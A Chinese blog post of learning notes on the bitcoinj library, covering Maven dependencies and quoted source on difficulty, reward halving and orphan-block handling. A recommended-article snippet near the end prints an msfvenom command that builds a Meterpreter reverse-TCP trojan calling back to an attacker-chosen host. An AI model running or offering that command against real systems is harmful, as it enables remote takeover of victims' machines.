一、密码学相关资料

使用Bouncy Castle生成数字签名、数字信封

ECDH and ECDSA(ECC椭圆曲线算法3)

数字签名算法RSA与 ECDSA的比较与分析

Java密码学 非对称加密以及使用secp256k1进行数字签名(ECDSA),也适合Android(上)

外国程序员大佬教你做一个——“Bitcoin(比特币)”的工作库

ASN.1概述及数据类型详解

ASN.1笔记——标准编码规则BER

二、第三方类库

<dependency>
<groupId>com.madgag.spongycastle</groupId>
<artifactId>core</artifactId>
<version>1.52.0.0</version>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>25.0-jre</version>
</dependency>

三、源码摘要说明

PeerGroup--->Peer--->Wallet(CoinSelector ,KeyChainGroup,KeyChain ,ECKey , KeyCrypter)

--->Transaction--->Block--->BlockChain

org.bitcoinj.core.NetworkParameters:

public static final int TARGET_TIMESPAN = 14 * 24 * 60 * 60;  // 2 weeks per difficulty cycle, on average.
public static final int TARGET_SPACING = 10 * 60; // 10 minutes per block.
public static final int INTERVAL = TARGET_TIMESPAN / TARGET_SPACING; /**
* The maximum number of coins to be generated
*/
public static final long MAX_COINS = 21000000;

createGenesis - 创世区块

org.bitcoinj.core.AbstractBitcoinNetParams

public static final int REWARD_HALVING_INTERVAL = 210000;//奖励减半周期

isRewardHalvingPoint

isDifficultyTransitionPoint

checkDifficultyTransitions

org.bitcoinj.core.Block:

solve - 挖矿算法

checkProofOfWork - 工作量证明算法

getDifficultyTargetAsInteger - 获取区块难度目标

    /** Height of the first block */
public static final int BLOCK_HEIGHT_GENESIS = 0;//The genesis block has a height of zero.
/**
* <p>A utility method that calculates how much new Bitcoin would be created by the block at the given height.
* The inflation of Bitcoin is predictable and drops roughly every 4 years (210,000 blocks). At the dawn of
* the system it was 50 coins per block, in late 2012 it went to 25 coins per block, and so on. The size of
* a coinbase transaction is inflation plus fees.</p>
*
* <p>The half-life is controlled by {@link org.bitcoinj.core.NetworkParameters#getSubsidyDecreaseBlockCount()}.
* </p>
*/
public Coin getBlockInflation(int height) {
return FIFTY_COINS.shiftRight(height / params.getSubsidyDecreaseBlockCount());
}
    /**
* Returns the work represented by this block.<p>
*
* Work is defined as the number of tries needed to solve a block in the
* average case. Consider a difficulty target that covers 5% of all possible
* hash values. Then the work of the block will be 20. As the target gets
* lower, the amount of work goes up.
*/
public BigInteger getWork() throws VerificationException {
BigInteger target = getDifficultyTargetAsInteger();
return LARGEST_HASH.divide(target.add(BigInteger.ONE));
}

org.bitcoinj.core.AbstractBlockChain:

OrphanBlock:孤块

// 将区块加入到区块链中

private boolean add(Block block, boolean tryConnecting,
@Nullable List<Sha256Hash> filteredTxHashList, @Nullable Map<Sha256Hash, Transaction> filteredTxn)
throws BlockStoreException, VerificationException, PrunedException {
//......
// Try linking it to a place in the currently known blocks. if (storedPrev == null) {
// We can't find the previous block. Probably we are still in the process of downloading the chain and a
// block was solved whilst we were doing it. We put it to one side and try to connect it later when we
// have more blocks.
checkState(tryConnecting, "bug in tryConnectingOrphans");
log.warn("Block does not connect: {} prev {}", block.getHashAsString(), block.getPrevBlockHash());
orphanBlocks.put(block.getHash(), new OrphanBlock(block, filteredTxHashList, filteredTxn));
return false;
} else {
checkState(lock.isHeldByCurrentThread());
// It connects to somewhere on the chain. Not necessarily the top of the best known chain.
params.checkDifficultyTransitions(storedPrev, block, blockStore);
connectBlock(block, storedPrev, shouldVerifyTransactions(), filteredTxHashList, filteredTxn);
}
//...... }

tryConnectingOrphans - 孤块处理

org.bitcoinj.core.Peer:

processMessage - 消息处理

org.bitcoinj.wallet.Wallet:

1、变量定义

2、构造函数

3、私钥管理 - Key Management

4、序列化支持 - Serialization support

5、Inbound transaction reception and processing

6、Event listeners

7、Vending transactions and other internal state

8、Balance and balance futures

9、Creating and sending transactions

10、Reorganisations

11、Bloom filtering

12、Extensions to the wallet format

13、Fee calculation code

14、Wallet maintenance transactions

bitcoinj学习记录的更多相关文章

  1. Quartz 学习记录1

    原因 公司有一些批量定时任务可能需要在夜间执行,用的是quartz和spring batch两个框架.quartz是个定时任务框架,spring batch是个批处理框架. 虽然我自己的小玩意儿平时不 ...

  2. Java 静态内部类与非静态内部类 学习记录.

    目的 为什么会有这篇文章呢,是因为我在学习各种框架的时候发现很多框架都用到了这些内部类的小技巧,虽然我平时写代码的时候基本不用,但是看别人代码的话至少要了解基本知识吧,另外到底内部类应该应用在哪些场合 ...

  3. Apache Shiro 学习记录4

    今天看了教程的第三章...是关于授权的......和以前一样.....自己也研究了下....我觉得看那篇教程怎么说呢.....总体上是为数不多的精品教程了吧....但是有些地方确实是讲的太少了.... ...

  4. UWP学习记录12-应用到应用的通信

    UWP学习记录12-应用到应用的通信 1.应用间通信 “共享”合约是用户可以在应用之间快速交换数据的一种方式. 例如,用户可能希望使用社交网络应用与其好友共享网页,或者将链接保存在笔记应用中以供日后参 ...

  5. UWP学习记录11-设计和UI

    UWP学习记录11-设计和UI 1.输入和设备 通用 Windows 平台 (UWP) 中的用户交互组合了输入和输出源(例如鼠标.键盘.笔.触摸.触摸板.语音.Cortana.控制器.手势.注视等)以 ...

  6. UWP学习记录10-设计和UI之控件和模式7

    UWP学习记录10-设计和UI之控件和模式7 1.导航控件 Hub,中心控件,利用它你可以将应用内容整理到不同但又相关的区域或类别中. 中心的各个区域可按首选顺序遍历,并且可用作更具体体验的起始点. ...

  7. UWP学习记录9-设计和UI之控件和模式6

    UWP学习记录9-设计和UI之控件和模式6 1.图形和墨迹 InkCanvas是接收和显示墨迹笔划的控件,是新增的比较复杂的控件,这里先不深入. 而形状(Shape)则是可以显示的各种保留模式图形对象 ...

  8. UWP学习记录8-设计和UI之控件和模式5

    UWP学习记录8-设计和UI之控件和模式5 1.日历.日期和时间控件 日期和时间控件提供了标准的本地化方法,可供用户在应用中查看并设置日期和时间值. 有四个日期和时间控件可供选择,选择的依据如下: 日 ...

  9. UWP学习记录7-设计和UI之控件和模式4

    UWP学习记录7-设计和UI之控件和模式4 1.翻转视图 使用翻转视图浏览集合中的图像或其他项目(例如相册中的照片或产品详细信息页中的项目),一次显示一个项目. 对于触摸设备,轻扫某个项将在整个集合中 ...

随机推荐

  1. 基于ubuntu搭建 Discuz 论坛

    系统要求:Ubuntu 16.04.1 LTS 64 位操作系统 安装 Apache2 ubuntu 需要安装 Apache2 ,使用 apt-get 安装 Apache2(安装好后,您可以通过访问实 ...

  2. Tomcat 七 HTTP 连接器

    摘要 本文尝试翻译Tomcat官方文档Apache Tomcat 7连接器,不足之处敬请指正.该文先介绍了Tomcat7 HTTP连接器的属性,包括:公共属性.标准实现.Java TCP套接字属性.B ...

  3. 实现A星算法

    [更新] 稍微将A*算法进行修正,使用BFS(按F值对open表排序),另外,新增评估函数,用来测量当前点到终点的线段上的随机某一点是否是墙或已访问结点,是的话返回1,否则返回0. function ...

  4. Msf提权步骤

    1.生成反弹木马(脚本,执行程序) msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=&l ...

  5. Paypal Rest Api自定义物流地址(跳过填写物流地址)

    PayPal之前的Rest Api是不支持自定义物流地址的,最新升级版本的提供了这个服务(Payment Experience),大概步骤如下: 1.申请一个自定义的配置ID 自定义配置包括Logo, ...

  6. vue:过滤器

    一.过滤器 过滤器是vue中的一个特性,作用是用于对文本进行格式化的作用. 注意:在vue 1.0中有内置的过滤器,在2.0中去掉了内置过滤器,只有自定义过滤器 二.使用位置 过滤器只能应用在两个地方 ...

  7. BigDecimal提供了8种舍入方式

    BigDecimal提供了8种舍入方式 1.ROUND_UP:舍入远离零的舍入模式.在丢弃非零部分之前始终增加数字(始终对非零舍弃部分前面的数字加1).注意,此舍入模式始终不会减少计算值的大小. 2. ...

  8. ORA-00257:archiver error问题处理方法

    原文链接:http://www.7747.net/database/201109/104615.html ORA-00257: archiver error. Connect internal onl ...

  9. RDP 数据库简介

    在扩增子数据分析中,有时会发现多个OTU 注释到了同一个species ,  为什么会出现这种情况呢? 首先既然在OTU水平能分开,说明序列的相似度小于97%,  同一个物种的同一个基因的片段相似度会 ...

  10. 解决highCharts导出功能汉化问题

    本文以highCharts中文网上的例子为原型,处理解决highCharts导出功能为英文的问题. 我们使用highCharts当然希望所有提示或文本都是中文的了,但是highCharts的默认语言是 ...